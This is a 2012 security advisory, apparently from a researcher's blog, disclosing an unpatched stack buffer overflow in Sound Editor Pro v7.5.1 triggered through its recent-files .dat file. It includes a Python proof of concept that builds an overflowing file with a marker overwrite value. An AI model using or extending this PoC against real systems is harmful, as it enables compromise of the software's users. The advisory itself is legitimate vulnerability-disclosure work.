Julien Ahrens === @MrTuxracer

Vulnerability Intel | ROP Gadget Hunter | Privacy Enthusiast | Full-time BugBounty hunter | @Hacker0x01 MVH | @SynackRedTeam member | on a world-trip

IA38 - NCMedia Sound Editor Pro v7.5.1 MRUList201202.dat File Handling Local Buffer Overflow

16 Sep 2012 » Advisory

Inshell Security Advisory

1\. ADVISORY INFORMATION
-----------------------
Product:        Sound Editor Pro v7.5.1
Vendor URL:     www.soundeditorpro.com
Type:           Stack-based Buffer Overflow [CWE-121]
Date found:     2012-08-15
Date published: 2012-09-16
CVSSv2 Score:   6,9 (AV:L/AC:M/Au:N/C:C/I:C/A:C)
CVE:            -

2\. CREDITS
----------
This vulnerability was discovered and researched by Julien Ahrens from
Inshell Security.

3\. VERSIONS AFFECTED
--------------------
NCMedia Sound Editor Pro v7.5.1, older versions may be affected too.

4\. VULNERABILITY DESCRIPTION
----------------------------
A Local Buffer Overflow Vulnerability has been found on the NCMedia
Sound Editor Pro v7.5.1.

The application saves the paths for all recently used files in a file
called "MRUList201202.dat" in the directory %appdata%\Sound Editor Pro\.
When clicking on the "File" menu item the application reads the contents
of the file, but does not validate the length of the string loaded from
the file before passing it to a buffer, which leads to a Stack-based
Buffer Overflow.

An attacker needs to force the victim to place an arbitrary
"MRUList201202.dat" file into the target directory.

5\. PROOF-OF-CONCEPT (CODE / EXPLOIT)
------------------------------------
#!/usr/bin/python
file="MRUList201202.dat"

junk1="\x41" * 4124
boom="\x42\x42\x42\x42"
junk2="\x43" * 100

poc=junk1 + boom + junk2

try:
    print "[*] Creating exploit file...\n"
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!"
except:
    print "[!] Error while creating file!"

For further screenshots and/or PoCs visit:
http://security.inshell.net/advisory/38

6\. SOLUTION
-----------
None

7\. REPORT TIMELINE
------------------
2012-08-15: Initial notification sent to vendor
2012-08-22: No response, second notification sent to vendor
2012-08-29: No response, third notification sent to vendor
2012-09-16: No response
2012-09-16: Full Disclosure according to disclosure policy

8\. REFERENCES
-------------
http://security.inshell.net